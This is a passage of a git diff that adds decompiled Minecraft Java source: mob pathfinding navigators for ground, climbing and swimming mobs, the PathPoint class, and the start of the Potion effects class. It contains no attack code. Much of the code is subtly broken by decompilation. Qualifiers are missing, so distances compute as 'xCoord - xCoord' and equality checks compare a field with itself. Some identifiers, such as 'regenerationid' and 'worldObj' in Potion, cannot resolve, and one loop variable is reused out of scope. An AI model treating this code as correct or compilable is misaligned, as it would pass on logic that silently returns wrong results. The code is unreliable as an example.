+  {
+    return (float)pathSearchRange.getAttributeValue();
+  }
+  
+
+
+
+  public final PathEntity getPathToXYZ(double p_75488_1_, double p_75488_3_, double p_75488_5_)
+  {
+    return func_179680_a(new BlockPos(MathHelper.floor_double(p_75488_1_), (int)p_75488_3_, MathHelper.floor_double(p_75488_5_)));
+  }
+  
+  public PathEntity func_179680_a(BlockPos p_179680_1_)
+  {
+    if (!canNavigate())
+    {
+      return null;
+    }
+    
+
+    float var2 = getPathSearchRange();
+    worldObj.theProfiler.startSection("pathfind");
+    BlockPos var3 = new BlockPos(theEntity);
+    int var4 = (int)(var2 + 8.0F);
+    ChunkCache var5 = new ChunkCache(worldObj, var3.add(-var4, -var4, -var4), var3.add(var4, var4, var4), 0);
+    PathEntity var6 = field_179681_j.func_180782_a(var5, theEntity, p_179680_1_, var2);
+    worldObj.theProfiler.endSection();
+    return var6;
+  }
+  
+
+
+
+
+  public boolean tryMoveToXYZ(double p_75492_1_, double p_75492_3_, double p_75492_5_, double p_75492_7_)
+  {
+    PathEntity var9 = getPathToXYZ(MathHelper.floor_double(p_75492_1_), (int)p_75492_3_, MathHelper.floor_double(p_75492_5_));
+    return setPath(var9, p_75492_7_);
+  }
+  
+  public void func_179678_a(float p_179678_1_)
+  {
+    field_179682_i = p_179678_1_;
+  }
+  
+
+
+
+  public PathEntity getPathToEntityLiving(Entity p_75494_1_)
+  {
+    if (!canNavigate())
+    {
+      return null;
+    }
+    
+
+    float var2 = getPathSearchRange();
+    worldObj.theProfiler.startSection("pathfind");
+    BlockPos var3 = new BlockPos(theEntity).offsetUp();
+    int var4 = (int)(var2 + 16.0F);
+    ChunkCache var5 = new ChunkCache(worldObj, var3.add(-var4, -var4, -var4), var3.add(var4, var4, var4), 0);
+    PathEntity var6 = field_179681_j.func_176188_a(var5, theEntity, p_75494_1_, var2);
+    worldObj.theProfiler.endSection();
+    return var6;
+  }
+  
+
+
+
+
+  public boolean tryMoveToEntityLiving(Entity p_75497_1_, double p_75497_2_)
+  {
+    PathEntity var4 = getPathToEntityLiving(p_75497_1_);
+    return var4 != null ? setPath(var4, p_75497_2_) : false;
+  }
+  
+
+
+
+
+  public boolean setPath(PathEntity p_75484_1_, double p_75484_2_)
+  {
+    if (p_75484_1_ == null)
+    {
+      currentPath = null;
+      return false;
+    }
+    
+
+    if (!p_75484_1_.isSamePath(currentPath))
+    {
+      currentPath = p_75484_1_;
+    }
+    
+    removeSunnyPath();
+    
+    if (currentPath.getCurrentPathLength() == 0)
+    {
+      return false;
+    }
+    
+
+    speed = p_75484_2_;
+    Vec3 var4 = getEntityPosition();
+    ticksAtLastPos = totalTicks;
+    lastPosCheck = var4;
+    return true;
+  }
+  
+
+
+
+
+
+  public PathEntity getPath()
+  {
+    return currentPath;
+  }
+  
+  public void onUpdateNavigation()
+  {
+    totalTicks += 1;
+    
+    if (!noPath())
+    {
+
+
+      if (canNavigate())
+      {
+        pathFollow();
+      }
+      else if ((currentPath != null) && (currentPath.getCurrentPathIndex() < currentPath.getCurrentPathLength()))
+      {
+        Vec3 var1 = getEntityPosition();
+        Vec3 var2 = currentPath.getVectorFromIndex(theEntity, currentPath.getCurrentPathIndex());
+        
+        if ((yCoord > yCoord) && (!theEntity.onGround) && (MathHelper.floor_double(xCoord) == MathHelper.floor_double(xCoord)) && (MathHelper.floor_double(zCoord) == MathHelper.floor_double(zCoord)))
+        {
+          currentPath.setCurrentPathIndex(currentPath.getCurrentPathIndex() + 1);
+        }
+      }
+      
+      if (!noPath())
+      {
+        Vec3 var1 = currentPath.getPosition(theEntity);
+        
+        if (var1 != null)
+        {
+          theEntity.getMoveHelper().setMoveTo(xCoord, yCoord, zCoord, speed);
+        }
+      }
+    }
+  }
+  
+  protected void pathFollow()
+  {
+    Vec3 var1 = getEntityPosition();
+    int var2 = currentPath.getCurrentPathLength();
+    
+    for (int var3 = currentPath.getCurrentPathIndex(); var3 < currentPath.getCurrentPathLength(); var3++)
+    {
+      if (currentPath.getPathPointFromIndex(var3).yCoord != (int)yCoord)
+      {
+        var2 = var3;
+        break;
+      }
+    }
+    
+    float var8 = theEntity.width * theEntity.width * field_179682_i;
+    
+
+    for (int var4 = currentPath.getCurrentPathIndex(); var4 < var2; var4++)
+    {
+      Vec3 var5 = currentPath.getVectorFromIndex(theEntity, var4);
+      
+      if (var1.squareDistanceTo(var5) < var8)
+      {
+        currentPath.setCurrentPathIndex(var4 + 1);
+      }
+    }
+    
+    var4 = MathHelper.ceiling_float_int(theEntity.width);
+    int var9 = (int)theEntity.height + 1;
+    int var6 = var4;
+    
+    for (int var7 = var2 - 1; var7 >= currentPath.getCurrentPathIndex(); var7--)
+    {
+      if (isDirectPathBetweenPoints(var1, currentPath.getVectorFromIndex(theEntity, var7), var4, var9, var6))
+      {
+        currentPath.setCurrentPathIndex(var7);
+        break;
+      }
+    }
+    
+    func_179677_a(var1);
+  }
+  
+  protected void func_179677_a(Vec3 p_179677_1_)
+  {
+    if (totalTicks - ticksAtLastPos > 100)
+    {
+      if (p_179677_1_.squareDistanceTo(lastPosCheck) < 2.25D)
+      {
+        clearPathEntity();
+      }
+      
+      ticksAtLastPos = totalTicks;
+      lastPosCheck = p_179677_1_;
+    }
+  }
+  
+
+
+
+  public boolean noPath()
+  {
+    return (currentPath == null) || (currentPath.isFinished());
+  }
+  
+
+
+
+  public void clearPathEntity()
+  {
+    currentPath = null;
+  }
+  
+
+
+  protected abstract Vec3 getEntityPosition();
+  
+
+
+  protected abstract boolean canNavigate();
+  
+
+
+  protected boolean isInLiquid()
+  {
+    return (theEntity.isInWater()) || (theEntity.func_180799_ab());
+  }
+  
+  protected void removeSunnyPath() {}
+  
+  protected abstract boolean isDirectPathBetweenPoints(Vec3 paramVec31, Vec3 paramVec32, int paramInt1, int paramInt2, int paramInt3);
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathNavigateClimber.java b/src/minecraft/net/minecraft/pathfinding/PathNavigateClimber.java
new file mode 100644
index 0000000..feb0fe5
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathNavigateClimber.java
@@ -0,0 +1,75 @@
+package net.minecraft.pathfinding;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class PathNavigateClimber extends PathNavigateGround
+{
+  private BlockPos field_179696_f;
+  private static final String __OBFID = "CL_00002245";
+  
+  public PathNavigateClimber(EntityLiving p_i45874_1_, World worldIn)
+  {
+    super(p_i45874_1_, worldIn);
+  }
+  
+  public PathEntity func_179680_a(BlockPos p_179680_1_)
+  {
+    field_179696_f = p_179680_1_;
+    return super.func_179680_a(p_179680_1_);
+  }
+  
+
+
+
+  public PathEntity getPathToEntityLiving(Entity p_75494_1_)
+  {
+    field_179696_f = new BlockPos(p_75494_1_);
+    return super.getPathToEntityLiving(p_75494_1_);
+  }
+  
+
+
+
+  public boolean tryMoveToEntityLiving(Entity p_75497_1_, double p_75497_2_)
+  {
+    PathEntity var4 = getPathToEntityLiving(p_75497_1_);
+    
+    if (var4 != null)
+    {
+      return setPath(var4, p_75497_2_);
+    }
+    
+
+    field_179696_f = new BlockPos(p_75497_1_);
+    speed = p_75497_2_;
+    return true;
+  }
+  
+
+  public void onUpdateNavigation()
+  {
+    if (!noPath())
+    {
+      super.onUpdateNavigation();
+
+
+    }
+    else if (field_179696_f != null)
+    {
+      double var1 = theEntity.width * theEntity.width;
+      
+      if ((theEntity.func_174831_c(field_179696_f) >= var1) && ((theEntity.posY <= field_179696_f.getY()) || (theEntity.func_174831_c(new BlockPos(field_179696_f.getX(), MathHelper.floor_double(theEntity.posY), field_179696_f.getZ())) >= var1)))
+      {
+        theEntity.getMoveHelper().setMoveTo(field_179696_f.getX(), field_179696_f.getY(), field_179696_f.getZ(), speed);
+      }
+      else
+      {
+        field_179696_f = null;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathNavigateGround.java b/src/minecraft/net/minecraft/pathfinding/PathNavigateGround.java
new file mode 100644
index 0000000..c0853ea
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathNavigateGround.java
@@ -0,0 +1,304 @@
+package net.minecraft.pathfinding;
+
+import java.util.Iterator;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import net.minecraft.world.pathfinder.WalkNodeProcessor;
+
+public class PathNavigateGround extends PathNavigate
+{
+  protected WalkNodeProcessor field_179695_a;
+  private boolean field_179694_f;
+  private static final String __OBFID = "CL_00002246";
+  
+  public PathNavigateGround(EntityLiving p_i45875_1_, World worldIn)
+  {
+    super(p_i45875_1_, worldIn);
+  }
+  
+  protected PathFinder func_179679_a()
+  {
+    field_179695_a = new WalkNodeProcessor();
+    field_179695_a.func_176175_a(true);
+    return new PathFinder(field_179695_a);
+  }
+  
+
+
+
+  protected boolean canNavigate()
+  {
+    return (theEntity.onGround) || ((func_179684_h()) && (isInLiquid())) || ((theEntity.isRiding()) && ((theEntity instanceof net.minecraft.entity.monster.EntityZombie)) && ((theEntity.ridingEntity instanceof net.minecraft.entity.passive.EntityChicken)));
+  }
+  
+  protected Vec3 getEntityPosition()
+  {
+    return new Vec3(theEntity.posX, func_179687_p(), theEntity.posZ);
+  }
+  
+  private int func_179687_p()
+  {
+    if ((theEntity.isInWater()) && (func_179684_h()))
+    {
+      int var1 = (int)theEntity.getEntityBoundingBox().minY;
+      Block var2 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(theEntity.posX), var1, MathHelper.floor_double(theEntity.posZ))).getBlock();
+      int var3 = 0;
+      
+      do
+      {
+        if ((var2 != Blocks.flowing_water) && (var2 != Blocks.water))
+        {
+          return var1;
+        }
+        
+        var1++;
+        var2 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(theEntity.posX), var1, MathHelper.floor_double(theEntity.posZ))).getBlock();
+        var3++;
+      } while (
+      
+
+
+
+
+
+
+
+
+
+        var3 <= 16);
+      
+      return (int)theEntity.getEntityBoundingBox().minY;
+    }
+    
+
+    return (int)(theEntity.getEntityBoundingBox().minY + 0.5D);
+  }
+  
+
+
+
+
+  protected void removeSunnyPath()
+  {
+    super.removeSunnyPath();
+    
+    if (field_179694_f)
+    {
+      if (worldObj.isAgainstSky(new BlockPos(MathHelper.floor_double(theEntity.posX), (int)(theEntity.getEntityBoundingBox().minY + 0.5D), MathHelper.floor_double(theEntity.posZ))))
+      {
+        return;
+      }
+      
+      for (int var1 = 0; var1 < currentPath.getCurrentPathLength(); var1++)
+      {
+        PathPoint var2 = currentPath.getPathPointFromIndex(var1);
+        
+        if (worldObj.isAgainstSky(new BlockPos(xCoord, yCoord, zCoord)))
+        {
+          currentPath.setCurrentPathLength(var1 - 1);
+          return;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  protected boolean isDirectPathBetweenPoints(Vec3 p_75493_1_, Vec3 p_75493_2_, int p_75493_3_, int p_75493_4_, int p_75493_5_)
+  {
+    int var6 = MathHelper.floor_double(xCoord);
+    int var7 = MathHelper.floor_double(zCoord);
+    double var8 = xCoord - xCoord;
+    double var10 = zCoord - zCoord;
+    double var12 = var8 * var8 + var10 * var10;
+    
+    if (var12 < 1.0E-8D)
+    {
+      return false;
+    }
+    
+
+    double var14 = 1.0D / Math.sqrt(var12);
+    var8 *= var14;
+    var10 *= var14;
+    p_75493_3_ += 2;
+    p_75493_5_ += 2;
+    
+    if (!func_179683_a(var6, (int)yCoord, var7, p_75493_3_, p_75493_4_, p_75493_5_, p_75493_1_, var8, var10))
+    {
+      return false;
+    }
+    
+
+    p_75493_3_ -= 2;
+    p_75493_5_ -= 2;
+    double var16 = 1.0D / Math.abs(var8);
+    double var18 = 1.0D / Math.abs(var10);
+    double var20 = var6 * 1 - xCoord;
+    double var22 = var7 * 1 - zCoord;
+    
+    if (var8 >= 0.0D)
+    {
+      var20 += 1.0D;
+    }
+    
+    if (var10 >= 0.0D)
+    {
+      var22 += 1.0D;
+    }
+    
+    var20 /= var8;
+    var22 /= var10;
+    int var24 = var8 < 0.0D ? -1 : 1;
+    int var25 = var10 < 0.0D ? -1 : 1;
+    int var26 = MathHelper.floor_double(xCoord);
+    int var27 = MathHelper.floor_double(zCoord);
+    int var28 = var26 - var6;
+    int var29 = var27 - var7;
+    
+    do
+    {
+      if ((var28 * var24 <= 0) && (var29 * var25 <= 0))
+      {
+        return true;
+      }
+      
+      if (var20 < var22)
+      {
+        var20 += var16;
+        var6 += var24;
+        var28 = var26 - var6;
+      }
+      else
+      {
+        var22 += var18;
+        var7 += var25;
+        var29 = var27 - var7;
+      }
+      
+    } while (func_179683_a(var6, (int)yCoord, var7, p_75493_3_, p_75493_4_, p_75493_5_, p_75493_1_, var8, var10));
+    
+    return false;
+  }
+  
+
+
+  private boolean func_179683_a(int p_179683_1_, int p_179683_2_, int p_179683_3_, int p_179683_4_, int p_179683_5_, int p_179683_6_, Vec3 p_179683_7_, double p_179683_8_, double p_179683_10_)
+  {
+    int var12 = p_179683_1_ - p_179683_4_ / 2;
+    int var13 = p_179683_3_ - p_179683_6_ / 2;
+    
+    if (!func_179692_b(var12, p_179683_2_, var13, p_179683_4_, p_179683_5_, p_179683_6_, p_179683_7_, p_179683_8_, p_179683_10_))
+    {
+      return false;
+    }
+    
+
+    for (int var14 = var12; var14 < var12 + p_179683_4_; var14++)
+    {
+      for (int var15 = var13; var15 < var13 + p_179683_6_; var15++)
+      {
+        double var16 = var14 + 0.5D - xCoord;
+        double var18 = var15 + 0.5D - zCoord;
+        
+        if (var16 * p_179683_8_ + var18 * p_179683_10_ >= 0.0D)
+        {
+          Block var20 = worldObj.getBlockState(new BlockPos(var14, p_179683_2_ - 1, var15)).getBlock();
+          Material var21 = var20.getMaterial();
+          
+          if (var21 == Material.air)
+          {
+            return false;
+          }
+          
+          if ((var21 == Material.water) && (!theEntity.isInWater()))
+          {
+            return false;
+          }
+          
+          if (var21 == Material.lava)
+          {
+            return false;
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private boolean func_179692_b(int p_179692_1_, int p_179692_2_, int p_179692_3_, int p_179692_4_, int p_179692_5_, int p_179692_6_, Vec3 p_179692_7_, double p_179692_8_, double p_179692_10_)
+  {
+    Iterator var12 = BlockPos.getAllInBox(new BlockPos(p_179692_1_, p_179692_2_, p_179692_3_), new BlockPos(p_179692_1_ + p_179692_4_ - 1, p_179692_2_ + p_179692_5_ - 1, p_179692_3_ + p_179692_6_ - 1)).iterator();
+    
+    while (var12.hasNext())
+    {
+      BlockPos var13 = (BlockPos)var12.next();
+      double var14 = var13.getX() + 0.5D - xCoord;
+      double var16 = var13.getZ() + 0.5D - zCoord;
+      
+      if (var14 * p_179692_8_ + var16 * p_179692_10_ >= 0.0D)
+      {
+        Block var18 = worldObj.getBlockState(var13).getBlock();
+        
+        if (!var18.isPassable(worldObj, var13))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+  public void func_179690_a(boolean p_179690_1_)
+  {
+    field_179695_a.func_176176_c(p_179690_1_);
+  }
+  
+  public boolean func_179689_e()
+  {
+    return field_179695_a.func_176173_e();
+  }
+  
+  public void func_179688_b(boolean p_179688_1_)
+  {
+    field_179695_a.func_176172_b(p_179688_1_);
+  }
+  
+  public void func_179691_c(boolean p_179691_1_)
+  {
+    field_179695_a.func_176175_a(p_179691_1_);
+  }
+  
+  public boolean func_179686_g()
+  {
+    return field_179695_a.func_176179_b();
+  }
+  
+  public void func_179693_d(boolean p_179693_1_)
+  {
+    field_179695_a.func_176178_d(p_179693_1_);
+  }
+  
+  public boolean func_179684_h()
+  {
+    return field_179695_a.func_176174_d();
+  }
+  
+  public void func_179685_e(boolean p_179685_1_)
+  {
+    field_179694_f = p_179685_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathNavigateSwimmer.java b/src/minecraft/net/minecraft/pathfinding/PathNavigateSwimmer.java
new file mode 100644
index 0000000..dc73db0
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathNavigateSwimmer.java
@@ -0,0 +1,78 @@
+package net.minecraft.pathfinding;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.MovingObjectPosition.MovingObjectType;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class PathNavigateSwimmer extends PathNavigate
+{
+  private static final String __OBFID = "CL_00002244";
+  
+  public PathNavigateSwimmer(EntityLiving p_i45873_1_, World worldIn)
+  {
+    super(p_i45873_1_, worldIn);
+  }
+  
+  protected PathFinder func_179679_a()
+  {
+    return new PathFinder(new net.minecraft.world.pathfinder.SwimNodeProcessor());
+  }
+  
+
+
+
+  protected boolean canNavigate()
+  {
+    return isInLiquid();
+  }
+  
+  protected Vec3 getEntityPosition()
+  {
+    return new Vec3(theEntity.posX, theEntity.posY + theEntity.height * 0.5D, theEntity.posZ);
+  }
+  
+  protected void pathFollow()
+  {
+    Vec3 var1 = getEntityPosition();
+    float var2 = theEntity.width * theEntity.width;
+    byte var3 = 6;
+    
+    if (var1.squareDistanceTo(currentPath.getVectorFromIndex(theEntity, currentPath.getCurrentPathIndex())) < var2)
+    {
+      currentPath.incrementPathIndex();
+    }
+    
+    for (int var4 = Math.min(currentPath.getCurrentPathIndex() + var3, currentPath.getCurrentPathLength() - 1); var4 > currentPath.getCurrentPathIndex(); var4--)
+    {
+      Vec3 var5 = currentPath.getVectorFromIndex(theEntity, var4);
+      
+      if ((var5.squareDistanceTo(var1) <= 36.0D) && (isDirectPathBetweenPoints(var1, var5, 0, 0, 0)))
+      {
+        currentPath.setCurrentPathIndex(var4);
+        break;
+      }
+    }
+    
+    func_179677_a(var1);
+  }
+  
+
+
+
+  protected void removeSunnyPath()
+  {
+    super.removeSunnyPath();
+  }
+  
+
+
+
+
+  protected boolean isDirectPathBetweenPoints(Vec3 p_75493_1_, Vec3 p_75493_2_, int p_75493_3_, int p_75493_4_, int p_75493_5_)
+  {
+    MovingObjectPosition var6 = worldObj.rayTraceBlocks(p_75493_1_, new Vec3(xCoord, yCoord + theEntity.height * 0.5D, zCoord), false, true, false);
+    return (var6 == null) || (typeOfHit == MovingObjectPosition.MovingObjectType.MISS);
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathPoint.java b/src/minecraft/net/minecraft/pathfinding/PathPoint.java
new file mode 100644
index 0000000..6050b13
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathPoint.java
@@ -0,0 +1,103 @@
+package net.minecraft.pathfinding;
+
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+public class PathPoint
+{
+  public final int xCoord;
+  public final int yCoord;
+  public final int zCoord;
+  private final int hash;
+  int index = -1;
+  
+
+  float totalPathDistance;
+  
+
+  float distanceToNext;
+  
+
+  float distanceToTarget;
+  
+  PathPoint previous;
+  
+  public boolean visited;
+  
+  private static final String __OBFID = "CL_00000574";
+  
+
+  public PathPoint(int p_i2135_1_, int p_i2135_2_, int p_i2135_3_)
+  {
+    xCoord = p_i2135_1_;
+    yCoord = p_i2135_2_;
+    zCoord = p_i2135_3_;
+    hash = makeHash(p_i2135_1_, p_i2135_2_, p_i2135_3_);
+  }
+  
+  public static int makeHash(int p_75830_0_, int p_75830_1_, int p_75830_2_)
+  {
+    return p_75830_1_ & 0xFF | (p_75830_0_ & 0x7FFF) << 8 | (p_75830_2_ & 0x7FFF) << 24 | (p_75830_0_ < 0 ? Integer.MIN_VALUE : 0) | (p_75830_2_ < 0 ? 32768 : 0);
+  }
+  
+
+
+
+  public float distanceTo(PathPoint p_75829_1_)
+  {
+    float var2 = xCoord - xCoord;
+    float var3 = yCoord - yCoord;
+    float var4 = zCoord - zCoord;
+    return MathHelper.sqrt_float(var2 * var2 + var3 * var3 + var4 * var4);
+  }
+  
+
+
+
+  public float distanceToSquared(PathPoint p_75832_1_)
+  {
+    float var2 = xCoord - xCoord;
+    float var3 = yCoord - yCoord;
+    float var4 = zCoord - zCoord;
+    return var2 * var2 + var3 * var3 + var4 * var4;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!(p_equals_1_ instanceof PathPoint))
+    {
+      return false;
+    }
+    
+
+    PathPoint var2 = (PathPoint)p_equals_1_;
+    return (hash == hash) && (xCoord == xCoord) && (yCoord == yCoord) && (zCoord == zCoord);
+  }
+  
+
+  public int hashCode()
+  {
+    return hash;
+  }
+  
+
+
+
+  public boolean isAssigned()
+  {
+    return index >= 0;
+  }
+  
+  public String toString()
+  {
+    return xCoord + ", " + yCoord + ", " + zCoord;
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/Potion.java b/src/minecraft/net/minecraft/potion/Potion.java
new file mode 100644
index 0000000..3e2bac9
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/Potion.java
@@ -0,0 +1,398 @@
+package net.minecraft.potion;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.FoodStats;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.StringUtils;
+
+public class Potion
+{
+  public static final Potion[] potionTypes = new Potion[32];
+  private static final Map field_180150_I = Maps.newHashMap();
+  public static final Potion field_180151_b = null;
+  public static final Potion moveSpeed = new Potion(1, new ResourceLocation("speed"), false, 8171462).setPotionName("potion.moveSpeed").setIconIndex(0, 0).registerPotionAttributeModifier(SharedMonsterAttributes.movementSpeed, "91AEAA56-376B-4498-935B-2F7F68070635", 0.20000000298023224D, 2);
+  public static final Potion moveSlowdown = new Potion(2, new ResourceLocation("slowness"), true, 5926017).setPotionName("potion.moveSlowdown").setIconIndex(1, 0).registerPotionAttributeModifier(SharedMonsterAttributes.movementSpeed, "7107DE5E-7CE8-4030-940E-514C1F160890", -0.15000000596046448D, 2);
+  public static final Potion digSpeed = new Potion(3, new ResourceLocation("haste"), false, 14270531).setPotionName("potion.digSpeed").setIconIndex(2, 0).setEffectiveness(1.5D);
+  public static final Potion digSlowdown = new Potion(4, new ResourceLocation("mining_fatigue"), true, 4866583).setPotionName("potion.digSlowDown").setIconIndex(3, 0);
+  public static final Potion damageBoost = new PotionAttackDamage(5, new ResourceLocation("strength"), false, 9643043).setPotionName("potion.damageBoost").setIconIndex(4, 0).registerPotionAttributeModifier(SharedMonsterAttributes.attackDamage, "648D7064-6A60-4F59-8ABE-C2C23A6DD7A9", 2.5D, 2);
+  public static final Potion heal = new PotionHealth(6, new ResourceLocation("instant_health"), false, 16262179).setPotionName("potion.heal");
+  public static final Potion harm = new PotionHealth(7, new ResourceLocation("instant_damage"), true, 4393481).setPotionName("potion.harm");
+  public static final Potion jump = new Potion(8, new ResourceLocation("jump_boost"), false, 2293580).setPotionName("potion.jump").setIconIndex(2, 1);
+  public static final Potion confusion = new Potion(9, new ResourceLocation("nausea"), true, 5578058).setPotionName("potion.confusion").setIconIndex(3, 1).setEffectiveness(0.25D);
+  
+
+  public static final Potion regeneration = new Potion(10, new ResourceLocation("regeneration"), false, 13458603).setPotionName("potion.regeneration").setIconIndex(7, 0).setEffectiveness(0.25D);
+  public static final Potion resistance = new Potion(11, new ResourceLocation("resistance"), false, 10044730).setPotionName("potion.resistance").setIconIndex(6, 1);
+  
+
+  public static final Potion fireResistance = new Potion(12, new ResourceLocation("fire_resistance"), false, 14981690).setPotionName("potion.fireResistance").setIconIndex(7, 1);
+  
+
+  public static final Potion waterBreathing = new Potion(13, new ResourceLocation("water_breathing"), false, 3035801).setPotionName("potion.waterBreathing").setIconIndex(0, 2);
+  
+
+  public static final Potion invisibility = new Potion(14, new ResourceLocation("invisibility"), false, 8356754).setPotionName("potion.invisibility").setIconIndex(0, 1);
+  
+
+  public static final Potion blindness = new Potion(15, new ResourceLocation("blindness"), true, 2039587).setPotionName("potion.blindness").setIconIndex(5, 1).setEffectiveness(0.25D);
+  
+
+  public static final Potion nightVision = new Potion(16, new ResourceLocation("night_vision"), false, 2039713).setPotionName("potion.nightVision").setIconIndex(4, 1);
+  
+
+  public static final Potion hunger = new Potion(17, new ResourceLocation("hunger"), true, 5797459).setPotionName("potion.hunger").setIconIndex(1, 1);
+  
+
+  public static final Potion weakness = new PotionAttackDamage(18, new ResourceLocation("weakness"), true, 4738376).setPotionName("potion.weakness").setIconIndex(5, 0).registerPotionAttributeModifier(SharedMonsterAttributes.attackDamage, "22653B89-116E-49DC-9B6B-9971489B5BE5", 2.0D, 0);
+  
+
+  public static final Potion poison = new Potion(19, new ResourceLocation("poison"), true, 5149489).setPotionName("potion.poison").setIconIndex(6, 0).setEffectiveness(0.25D);
+  
+
+  public static final Potion wither = new Potion(20, new ResourceLocation("wither"), true, 3484199).setPotionName("potion.wither").setIconIndex(1, 2).setEffectiveness(0.25D);
+  public static final Potion field_180152_w = new PotionHealthBoost(21, new ResourceLocation("health_boost"), false, 16284963).setPotionName("potion.healthBoost").setIconIndex(2, 2).registerPotionAttributeModifier(SharedMonsterAttributes.maxHealth, "5D6F0BA2-1186-46AC-B896-C61C5CEE99CC", 4.0D, 0);
+  
+
+  public static final Potion absorption = new PotionAbsoption(22, new ResourceLocation("absorption"), false, 2445989).setPotionName("potion.absorption").setIconIndex(2, 2);
+  
+
+  public static final Potion saturation = new PotionHealth(23, new ResourceLocation("saturation"), false, 16262179).setPotionName("potion.saturation");
+  public static final Potion field_180153_z = null;
+  public static final Potion field_180147_A = null;
+  public static final Potion field_180148_B = null;
+  public static final Potion field_180149_C = null;
+  public static final Potion field_180143_D = null;
+  public static final Potion field_180144_E = null;
+  public static final Potion field_180145_F = null;
+  public static final Potion field_180146_G = null;
+  
+
+  public final int id;
+  
+
+  private final Map attributeModifierMap = Maps.newHashMap();
+  
+
+
+  private final boolean isBadEffect;
+  
+
+
+  private final int liquidColor;
+  
+
+  private String name = "";
+  
+
+  private int statusIconIndex = -1;
+  private double effectiveness;
+  private boolean usable;
+  private static final String __OBFID = "CL_00001528";
+  
+  protected Potion(int p_i45897_1_, ResourceLocation p_i45897_2_, boolean p_i45897_3_, int p_i45897_4_)
+  {
+    id = p_i45897_1_;
+    potionTypes[p_i45897_1_] = this;
+    field_180150_I.put(p_i45897_2_, this);
+    isBadEffect = p_i45897_3_;
+    
+    if (p_i45897_3_)
+    {
+      effectiveness = 0.5D;
+    }
+    else
+    {
+      effectiveness = 1.0D;
+    }
+    
+    liquidColor = p_i45897_4_;
+  }
+  
+  public static Potion func_180142_b(String p_180142_0_)
+  {
+    return (Potion)field_180150_I.get(new ResourceLocation(p_180142_0_));
+  }
+  
+  public static String[] func_180141_c()
+  {
+    String[] var0 = new String[field_180150_I.size()];
+    int var1 = 0;
+    
+    ResourceLocation var3;
+    for (Iterator var2 = field_180150_I.keySet().iterator(); var2.hasNext(); var0[(var1++)] = var3.toString())
+    {
+      var3 = (ResourceLocation)var2.next();
+    }
+    
+    return var0;
+  }
+  
+
+
+
+  protected Potion setIconIndex(int p_76399_1_, int p_76399_2_)
+  {
+    statusIconIndex = (p_76399_1_ + p_76399_2_ * 8);
+    return this;
+  }
+  
+
+
+
+  public int getId()
+  {
+    return id;
+  }
+  
+  public void performEffect(EntityLivingBase p_76394_1_, int p_76394_2_)
+  {
+    if (id == regenerationid)
+    {
+      if (p_76394_1_.getHealth() < p_76394_1_.getMaxHealth())
+      {
+        p_76394_1_.heal(1.0F);
+      }
+    }
+    else if (id == poisonid)
+    {
+      if (p_76394_1_.getHealth() > 1.0F)
+      {
+        p_76394_1_.attackEntityFrom(DamageSource.magic, 1.0F);
+      }
+    }
+    else if (id == witherid)
+    {
+      p_76394_1_.attackEntityFrom(DamageSource.wither, 1.0F);
+    }
+    else if ((id == hungerid) && ((p_76394_1_ instanceof EntityPlayer)))
+    {
+      ((EntityPlayer)p_76394_1_).addExhaustion(0.025F * (p_76394_2_ + 1));
+    }
+    else if ((id == saturationid) && ((p_76394_1_ instanceof EntityPlayer)))
+    {
+      if (!worldObj.isRemote)
+      {
+        ((EntityPlayer)p_76394_1_).getFoodStats().addStats(p_76394_2_ + 1, 1.0F);
+      }
+    }
+    else if (((id != healid) || (p_76394_1_.isEntityUndead())) && ((id != harmid) || (!p_76394_1_.isEntityUndead())))
+    {
+      if (((id == harmid) && (!p_76394_1_.isEntityUndead())) || ((id == healid) && (p_76394_1_.isEntityUndead())))
+      {
+        p_76394_1_.attackEntityFrom(DamageSource.magic, 6 << p_76394_2_);
+      }
+      
+    }
+    else {
+      p_76394_1_.heal(Math.max(4 << p_76394_2_, 0));
+    }
+  }
+  
+
+
+  public void func_180793_a(Entity p_180793_1_, Entity p_180793_2_, EntityLivingBase p_180793_3_, int p_180793_4_, double p_180793_5_)
+  {
+    if (((id != healid) || (p_180793_3_.isEntityUndead())) && ((id != harmid) || (!p_180793_3_.isEntityUndead())))
+    {
+      if (((id == harmid) && (!p_180793_3_.isEntityUndead())) || ((id == healid) && (p_180793_3_.isEntityUndead())))
+      {
